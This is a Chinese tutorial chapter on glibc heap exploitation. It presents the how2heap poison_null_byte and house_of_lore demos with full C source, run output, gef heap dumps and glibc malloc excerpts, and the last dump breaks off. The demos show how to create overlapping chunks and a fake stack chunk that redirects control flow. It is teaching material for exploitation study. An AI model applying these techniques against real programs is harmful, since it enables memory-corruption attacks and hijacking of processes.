3.1.7 Linux 堆利用(中)

下载文件

how2heap

poison_null_byte

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <malloc.h>
  6. int main() {
  7. uint8_t *a, *b, *c, *b1, *b2, *d;
  8. a = (uint8_t*) malloc(0x10);
  9. int real_a_size = malloc_usable_size(a);
  10. fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
  11. fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
  12. b = (uint8_t*) malloc(0x100);
  13. c = (uint8_t*) malloc(0x80);
  14. fprintf(stderr, "b: %p\n", b);
  15. fprintf(stderr, "c: %p\n", c);
  16. uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
  17. *(size_t*)(b+0xf0) = 0x100;
  18. fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
  19. // deal with tcache
  20. // int *k[10], i;
  21. // for (i = 0; i < 7; i++) {
  22. // k[i] = malloc(0x100);
  23. // }
  24. // for (i = 0; i < 7; i++) {
  25. // free(k[i]);
  26. // }
  27. free(b);
  28. uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
  29. fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);
  30. a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
  31. fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
  32. fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
  33. fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
  34. b1 = malloc(0x80);
  35. memset(b1, 'A', 0x80);
  36. fprintf(stderr, "We malloc 'b1': %p\n", b1);
  37. fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
  38. fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));
  39. b2 = malloc(0x40);
  40. memset(b2, 'A', 0x40);
  41. fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);
  42. // deal with tcache
  43. // for (i = 0; i < 7; i++) {
  44. // k[i] = malloc(0x80);
  45. // }
  46. // for (i = 0; i < 7; i++) {
  47. // free(k[i]);
  48. // }
  49. free(b1);
  50. free(c);
  51. fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
  52. d = malloc(0x110);
  53. fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);
  54. fprintf(stderr, "b2 content:%s\n", b2);
  55. memset(d, 'B', 0xb0);
  56. fprintf(stderr, "New b2 content:%s\n", b2);
  57. }
  1. $ gcc -g poison_null_byte.c
  2. $ ./a.out
  3. We allocate 0x10 bytes for 'a': 0xabb010
  4. 'real' size of 'a': 0x18
  5. b: 0xabb030
  6. c: 0xabb140
  7. b.size: 0x111 ((0x100 + 0x10) | prev_in_use)
  8. After free(b), c.prev_size: 0x110
  9. We overflow 'a' with a single null byte into the metadata of 'b'
  10. b.size: 0x100
  11. Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
  12. We malloc 'b1': 0xabb030
  13. c.prev_size: 0x110
  14. fake c.prev_size: 0x70
  15. We malloc 'b2', our 'victim' chunk: 0xabb0c0
  16. Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
  17. Finally, we allocate 'd', overlapping 'b2': 0xabb030
  18. b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  19. New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。

对于单字节溢出的利用有下面几种:

  • 扩展被释放块:当溢出块的下一块为被释放块且处于 unsorted bin 中,则通过溢出一个字节来将其大小扩大,下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出
  1. 0x100 0x100 0x80
  2. |-------|-------|-------|
  3. | A | B | C | 初始状态
  4. |-------|-------|-------|
  5. | A | B | C | 释放 B
  6. |-------|-------|-------|
  7. | A | B | C | 溢出 B size 0x180
  8. |-------|-------|-------|
  9. | A | B | C | malloc(0x180-8)
  10. |-------|-------|-------| C 块被覆盖
  11. |<--实际得到的块->|
  • 扩展已分配块:当溢出块的下一块为使用中的块,则需要合理控制溢出的字节,使其被释放时的合并操作能够顺利进行,例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时,即可取得已经被扩大的块,并造成进一步溢出
  1. 0x100 0x100 0x80
  2. |-------|-------|-------|
  3. | A | B | C | 初始状态
  4. |-------|-------|-------|
  5. | A | B | C | 溢出 B size 0x180
  6. |-------|-------|-------|
  7. | A | B | C | 释放 B
  8. |-------|-------|-------|
  9. | A | B | C | malloc(0x180-8)
  10. |-------|-------|-------| C 块被覆盖
  11. |<--实际得到的块->|
  • 收缩被释放块:此情况针对溢出的字节只能为 0 的时候,也就是本节所说的 poison-null-byte,此时将下一个被释放的块大小缩小,如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段,导致释放时出现重叠的堆块
  1. 0x100 0x210 0x80
  2. |-------|---------------|-------|
  3. | A | B | C | 初始状态
  4. |-------|---------------|-------|
  5. | A | B | C | 释放 B
  6. |-------|---------------|-------|
  7. | A | B | C | 溢出 B size 0x200
  8. |-------|---------------|-------| 之后的 malloc 操作没有更新 C prev_size
  9. 0x100 0x80
  10. |-------|------|-----|--|-------|
  11. | A | B1 | B2 | | C | malloc(0x180-8), malloc(0x80-8)
  12. |-------|------|-----|--|-------|
  13. | A | B1 | B2 | | C | 释放 B1
  14. |-------|------|-----|--|-------|
  15. | A | B1 | B2 | | C | 释放 CC 将与 B1 合并
  16. |-------|------|-----|--|-------|
  17. | A | B1 | B2 | | C | malloc(0x180-8)
  18. |-------|------|-----|--|-------| B2 将被覆盖
  19. |<实际得到的块>|
  • house of einherjar:也是溢出字节只能为 0 的情况,当它是更新溢出块下一块的 prev_size 字段,使其在被释放时能够找到之前一个合法的被释放块并与其合并,造成堆块重叠
  1. 0x100 0x100 0x101
  2. |-------|-------|-------|
  3. | A | B | C | 初始状态
  4. |-------|-------|-------|
  5. | A | B | C | 释放 A
  6. |-------|-------|-------|
  7. | A | B | C | 溢出 B,覆盖 C 块的 size 0x200,并使其 prev_size 0x200
  8. |-------|-------|-------|
  9. | A | B | C | 释放 C
  10. |-------|-------|-------|
  11. | A | B | C | C 将与 A 合并
  12. |-------|-------|-------| B 块被重叠
  13. |<-----实际得到的块------>|

首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk。

首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 malloc_usable_size 如下:

  1. /*
  2. ------------------------- malloc_usable_size -------------------------
  3. */
  4. static size_t
  5. musable (void *mem)
  6. {
  7. mchunkptr p;
  8. if (mem != 0)
  9. {
  10. p = mem2chunk (mem);
  11. [...]
  12. if (chunk_is_mmapped (p))
  13. return chunksize (p) - 2 * SIZE_SZ;
  14. else if (inuse (p))
  15. return chunksize (p) - SIZE_SZ;
  16. }
  17. return 0;
  18. }
  1. /* check for mmap()'ed chunk */
  2. #define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
  3. /* extract p's inuse bit */
  4. #define inuse(p) \
  5. ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
  6. /* Get size, ignoring use bits */
  7. #define chunksize(p) ((p)->size & ~(SIZE_BITS))

所以 real_a_size = chunksize(a) - 0x8 == 0x18。另外需要注意的是程序是通过 next chunk 的 PREV_INUSE 标志来判断某 chunk 是否被使用的。

为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 0x100 == (0x111 & 0xff00),正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下:

  1. gef x/42gx a-0x10
  2. 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
  3. 0x603010: 0x0000000000000000 0x0000000000000000
  4. 0x603020: 0x0000000000000000 0x0000000000000111 <-- chunk b [be freed]
  5. 0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  6. 0x603040: 0x0000000000000000 0x0000000000000000
  7. 0x603050: 0x0000000000000000 0x0000000000000000
  8. 0x603060: 0x0000000000000000 0x0000000000000000
  9. 0x603070: 0x0000000000000000 0x0000000000000000
  10. 0x603080: 0x0000000000000000 0x0000000000000000
  11. 0x603090: 0x0000000000000000 0x0000000000000000
  12. 0x6030a0: 0x0000000000000000 0x0000000000000000
  13. 0x6030b0: 0x0000000000000000 0x0000000000000000
  14. 0x6030c0: 0x0000000000000000 0x0000000000000000
  15. 0x6030d0: 0x0000000000000000 0x0000000000000000
  16. 0x6030e0: 0x0000000000000000 0x0000000000000000
  17. 0x6030f0: 0x0000000000000000 0x0000000000000000
  18. 0x603100: 0x0000000000000000 0x0000000000000000
  19. 0x603110: 0x0000000000000000 0x0000000000000000
  20. 0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
  21. 0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
  22. 0x603140: 0x0000000000000000 0x0000000000000000
  23. gef heap bins unsorted
  24. [ Unsorted Bin for arena 'main_arena' ]
  25. [+] unsorted_bins[0]: fw=0x603020, bk=0x603020
  26. Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)

最关键的一步,通过溢出漏洞覆写 chunk b 的数据:

  1. gef x/42gx a-0x10
  2. 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
  3. 0x603010: 0x0000000000000000 0x0000000000000000
  4. 0x603020: 0x0000000000000000 0x0000000000000100 <-- chunk b [be freed]
  5. 0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  6. 0x603040: 0x0000000000000000 0x0000000000000000
  7. 0x603050: 0x0000000000000000 0x0000000000000000
  8. 0x603060: 0x0000000000000000 0x0000000000000000
  9. 0x603070: 0x0000000000000000 0x0000000000000000
  10. 0x603080: 0x0000000000000000 0x0000000000000000
  11. 0x603090: 0x0000000000000000 0x0000000000000000
  12. 0x6030a0: 0x0000000000000000 0x0000000000000000
  13. 0x6030b0: 0x0000000000000000 0x0000000000000000
  14. 0x6030c0: 0x0000000000000000 0x0000000000000000
  15. 0x6030d0: 0x0000000000000000 0x0000000000000000
  16. 0x6030e0: 0x0000000000000000 0x0000000000000000
  17. 0x6030f0: 0x0000000000000000 0x0000000000000000
  18. 0x603100: 0x0000000000000000 0x0000000000000000
  19. 0x603110: 0x0000000000000000 0x0000000000000000
  20. 0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
  21. 0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
  22. 0x603140: 0x0000000000000000 0x0000000000000000
  23. gef heap bins unsorted
  24. [ Unsorted Bin for arena 'main_arena' ]
  25. [+] unsorted_bins[0]: fw=0x603020, bk=0x603020
  26. Chunk(addr=0x603030, size=0x100, flags=)

这时,根据我们上一篇文字中讲到的计算方法:

  • chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100
  • prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100

可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。

接下来随意分配两个 chunk,malloc 会从 unsorted bin 中划出合适大小的内存返回给用户:

  1. gef x/42gx a-0x10
  2. 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
  3. 0x603010: 0x0000000000000000 0x0000000000000000
  4. 0x603020: 0x0000000000000000 0x0000000000000091 <-- chunk b1 <-- fake chunk b
  5. 0x603030: 0x4141414141414141 0x4141414141414141
  6. 0x603040: 0x4141414141414141 0x4141414141414141
  7. 0x603050: 0x4141414141414141 0x4141414141414141
  8. 0x603060: 0x4141414141414141 0x4141414141414141
  9. 0x603070: 0x4141414141414141 0x4141414141414141
  10. 0x603080: 0x4141414141414141 0x4141414141414141
  11. 0x603090: 0x4141414141414141 0x4141414141414141
  12. 0x6030a0: 0x4141414141414141 0x4141414141414141
  13. 0x6030b0: 0x0000000000000000 0x0000000000000051 <-- chunk b2 <-- 'victim' chunk
  14. 0x6030c0: 0x4141414141414141 0x4141414141414141
  15. 0x6030d0: 0x4141414141414141 0x4141414141414141
  16. 0x6030e0: 0x4141414141414141 0x4141414141414141
  17. 0x6030f0: 0x4141414141414141 0x4141414141414141
  18. 0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
  19. 0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  20. 0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size
  21. 0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
  22. 0x603140: 0x0000000000000000 0x0000000000000000
  23. gef heap bins unsorted
  24. [ Unsorted Bin for arena 'main_arena' ]
  25. [+] unsorted_bins[0]: fw=0x603100, bk=0x603100
  26. Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。

接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。

  1. gef x/42gx a-0x10
  2. 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
  3. 0x603010: 0x0000000000000000 0x0000000000000000
  4. 0x603020: 0x0000000000000000 0x0000000000020fe1 <-- top chunk
  5. 0x603030: 0x0000000000603100 0x00007ffff7dd1b78
  6. 0x603040: 0x4141414141414141 0x4141414141414141
  7. 0x603050: 0x4141414141414141 0x4141414141414141
  8. 0x603060: 0x4141414141414141 0x4141414141414141
  9. 0x603070: 0x4141414141414141 0x4141414141414141
  10. 0x603080: 0x4141414141414141 0x4141414141414141
  11. 0x603090: 0x4141414141414141 0x4141414141414141
  12. 0x6030a0: 0x4141414141414141 0x4141414141414141
  13. 0x6030b0: 0x0000000000000090 0x0000000000000050 <-- chunk b2 <-- 'victim' chunk
  14. 0x6030c0: 0x4141414141414141 0x4141414141414141
  15. 0x6030d0: 0x4141414141414141 0x4141414141414141
  16. 0x6030e0: 0x4141414141414141 0x4141414141414141
  17. 0x6030f0: 0x4141414141414141 0x4141414141414141
  18. 0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
  19. 0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  20. 0x603120: 0x0000000000000020 0x0000000000000000
  21. 0x603130: 0x0000000000000110 0x0000000000000090
  22. 0x603140: 0x0000000000000000 0x0000000000000000
  23. gef heap bins unsorted
  24. [ Unsorted Bin for arena 'main_arena' ]
  25. [+] unsorted_bins[0]: fw=0x603100, bk=0x603100
  26. Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk:

  1. /* consolidate backward */
  2. if (!prev_inuse(p)) {
  3. prevsize = p->prev_size;
  4. size += prevsize;
  5. p = chunk_at_offset(p, -((long) prevsize));
  6. unlink(av, p, bck, fwd);
  7. }
  8. if (nextchunk != av->top) {
  9. /*
  10. Place the chunk in unsorted chunk list. Chunks are
  11. not placed into regular bins until after they have
  12. been given one chance to be used in malloc.
  13. */
  14. [...]
  15. }
  16. /*
  17. If the chunk borders the current high end of memory,
  18. consolidate into top
  19. */
  20. else {
  21. size += nextsize;
  22. set_head(p, size | PREV_INUSE);
  23. av->top = p;
  24. check_chunk(av, p);
  25. }

接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。

  1. gef x/42gx a-0x10
  2. 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
  3. 0x603010: 0x0000000000000000 0x0000000000000000
  4. 0x603020: 0x0000000000000000 0x0000000000000121 <-- chunk d
  5. 0x603030: 0x4242424242424242 0x4242424242424242
  6. 0x603040: 0x4242424242424242 0x4242424242424242
  7. 0x603050: 0x4242424242424242 0x4242424242424242
  8. 0x603060: 0x4242424242424242 0x4242424242424242
  9. 0x603070: 0x4242424242424242 0x4242424242424242
  10. 0x603080: 0x4242424242424242 0x4242424242424242
  11. 0x603090: 0x4242424242424242 0x4242424242424242
  12. 0x6030a0: 0x4242424242424242 0x4242424242424242
  13. 0x6030b0: 0x4242424242424242 0x4242424242424242 <-- chunk b2 <-- 'victim' chunk
  14. 0x6030c0: 0x4242424242424242 0x4242424242424242
  15. 0x6030d0: 0x4242424242424242 0x4242424242424242
  16. 0x6030e0: 0x4141414141414141 0x4141414141414141
  17. 0x6030f0: 0x4141414141414141 0x4141414141414141
  18. 0x603100: 0x0000000000000000 0x0000000000000021 <-- small bins
  19. 0x603110: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer
  20. 0x603120: 0x0000000000000020 0x0000000000000000
  21. 0x603130: 0x0000000000000110 0x0000000000000090
  22. 0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk
  23. gef heap bins small
  24. [ Small Bins for arena 'main_arena' ]
  25. [+] small_bins[1]: fw=0x603100, bk=0x603100
  26. Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunk,malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。

最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。

heap-buffer-overflow,但不知道为什么,加了内存检测参数后,real size 只能是正常的 0x10 了。

  1. $ gcc -fsanitize=address -g poison_null_byte.c
  2. $ ./a.out
  3. We allocate 0x10 bytes for 'a': 0x60200000eff0
  4. 'real' size of 'a': 0x10
  5. b: 0x611000009f00
  6. c: 0x60c00000bf80
  7. =================================================================
  8. ==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990
  9. READ of size 8 at 0x611000009ef8 thread T0
  10. #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22
  11. #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
  12. #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)
  13. 0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)
  14. allocated by thread T0 here:
  15. #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
  16. #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15
  17. #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

house_of_lore

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. void jackpot(){ puts("Nice jump d00d"); exit(0); }
  6. int main() {
  7. intptr_t *victim = malloc(0x80);
  8. memset(victim, 'A', 0x80);
  9. void *p5 = malloc(0x10);
  10. memset(p5, 'A', 0x10);
  11. intptr_t *victim_chunk = victim - 2;
  12. fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
  13. intptr_t* stack_buffer_1[4] = {0};
  14. intptr_t* stack_buffer_2[3] = {0};
  15. stack_buffer_1[0] = 0;
  16. stack_buffer_1[2] = victim_chunk;
  17. stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  18. stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  19. fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
  20. fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
  21. free((void*)victim);
  22. fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
  23. fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  24. fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
  25. void *p2 = malloc(0x100);
  26. fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
  27. fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
  28. fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  29. fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
  30. victim[1] = (intptr_t)stack_buffer_1;
  31. fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
  32. void *p3 = malloc(0x40);
  33. char *p4 = malloc(0x80);
  34. memset(p4, 'A', 0x10);
  35. fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
  36. fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
  37. intptr_t sc = (intptr_t)jackpot;
  38. memcpy((p4+40), &sc, 8);
  39. }
  1. $ gcc -g house_of_lore.c
  2. $ ./a.out
  3. Allocated the victim (small) chunk: 0x1b2e010
  4. stack_buffer_1: 0x7ffe5c570350
  5. stack_buffer_2: 0x7ffe5c570330
  6. Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin
  7. victim->fd: 0x7f239d4c9b78
  8. victim->bk: 0x7f239d4c9b78
  9. Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0
  10. The victim chunk 0x1b2e010 will be inserted in front of the SmallBin
  11. victim->fd: 0x7f239d4c9bf8
  12. victim->bk: 0x7f239d4c9bf8
  13. Now emulating a vulnerability that can overwrite the victim->bk pointer
  14. This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360
  15. The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8
  16. Nice jump d00d

在前面的技术中,我们已经知道怎样去伪造一个 fake chunk,接下来,我们要尝试伪造一条 small bins 链。

首先创建两个 chunk,第一个是我们的 victim chunk,请确保它是一个 small chunk,第二个随意,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后,在栈上伪造两个 fake chunk,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了:

  1. gef x/26gx victim-2
  2. 0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
  3. 0x603010: 0x4141414141414141 0x4141414141414141
  4. 0x603020: 0x4141414141414141 0x4141414141414141
  5. 0x603030: 0x4141414141414141 0x4141414141414141
  6. 0x603040: 0x4141414141414141 0x4141414141414141
  7. 0x603050: 0x4141414141414141 0x4141414141414141
  8. 0x603060: 0x4141414141414141 0x4141414141414141
  9. 0x603070: 0x4141414141414141 0x4141414141414141
  10. 0x603080: 0x4141414141414141 0x4141414141414141
  11. 0x603090: 0x0000000000000000 0x0000000000000021 <-- chunk p5
  12. 0x6030a0: 0x4141414141414141 0x4141414141414141
  13. 0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
  14. 0x6030c0: 0x0000000000000000 0x0000000000000000
  15. gef x/10gx &stack_buffer_2
  16. 0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
  17. 0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
  18. 0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
  19. 0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
  20. 0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00

molloc 中对于 small bin 链表的检查是这样的:

  1. [...]
  2. else
  3. {
  4. bck = victim->bk;
  5. if (__glibc_unlikely (bck->fd != victim))
  6. {
  7. errstr = "malloc(): smallbin double linked list corrupted";
  8. goto errout;
  9. }
  10. set_inuse_bit_at_offset (victim, nb);
  11. bin->bk = bck;
  12. bck->fd = bin;
  13. [...]

即检查 bin 中第二块的 bk 指针是否指向第一块,来发现对 small bins 的破坏。为了绕过这个检查,所以才需要同时伪造 bin 中的前 2 个 chunk。

接下来释放掉 victim chunk,它会被放到 unsoted bin 中,且 fd/bk 均指向 unsorted bin 的头部:

  1. gef x/26gx victim-2
  2. 0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
  3. 0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  4. 0x603020: 0x4141414141414141 0x4141414141414141
  5. 0x603030: 0x4141414141414141 0x4141414141414141
  6. 0x603040: 0x4141414141414141 0x4141414141414141
  7. 0x603050: 0x4141414141414141 0x4141414141414141
  8. 0x603060: 0x4141414141414141 0x4141414141414141
  9. 0x603070: 0x4141414141414141 0x4141414141414141
  10. 0x603080: 0x4141414141414141 0x4141414141414141
  11. 0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5
  12. 0x6030a0: 0x4141414141414141 0x4141414141414141
  13. 0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
  14. 0x6030c0: 0x0000000000000000 0x0000000000000000
  15. gef heap bins unsorted
  16. [ Unsorted Bin for arena 'main_arena' ]
  17. [+] unsorted_bins[0]: fw=0x603000, bk=0x603000
  18. Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)

这时,申请一块大的 chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins:

  1. gef heap bins small
  2. [ Small Bins for arena 'main_arena' ]
  3. [+] small_bins[8]: fw=0x603000, bk=0x603000
  4. Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)

接下来是最关键的一步,假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin:

  1. gef x/26gx victim-2
  2. 0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
  3. 0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 <-- bk->fake chunk 1
  4. 0x603020: 0x4141414141414141 0x4141414141414141
  5. 0x603030: 0x4141414141414141 0x4141414141414141
  6. 0x603040: 0x4141414141414141 0x4141414141414141
  7. 0x603050: 0x4141414141414141 0x4141414141414141
  8. 0x603060: 0x4141414141414141 0x4141414141414141
  9. 0x603070: 0x4141414141414141 0x4141414141414141
  10. 0x603080: 0x4141414141414141 0x4141414141414141
  11. 0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5
  12. 0x6030a0: 0x4141414141414141 0x4141414141414141
  13. 0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2
  14. 0x6030c0: 0x0000000000000000 0x0000000000000000
  15. gef x/10gx &stack_buffer_2
  16. 0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
  17. 0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
  18. 0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
  19. 0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
  20. 0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00

我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的:

  1. HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL
  2. fd: ->
  3. bk: <-

fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。

接下来的第一个 malloc,会返回 victim chunk 的地址,如果 malloc 的大小正好等于 victim chunk 的大小,那么情况会简单一点。但是这里我们不这样做,malloc 一个小一点的地址,可以看到,malloc 从 small bin 里取出了末尾的 victim chunk,切了一块返回给 chunk p3,然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样:

  1. HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL
  1. gef x/26gx victim-2
  2. 0x603000: 0x0000000000000000 0x0000000000000051 <-- chunk p3
  3. 0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50
  4. 0x603020: 0x4141414141414141 0x4141414141414141
  5. 0x603030: 0x4141414141414141 0x4141414141414141
  6. 0x603040: 0x4141414141414141 0x4141414141414141
  7. 0x603050: 0x4141414141414141 0x0000000000000041 <-- unsorted bin
  8. 0x603060: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  9. 0x603070: 0x4141414141414141 0x4141414141414141
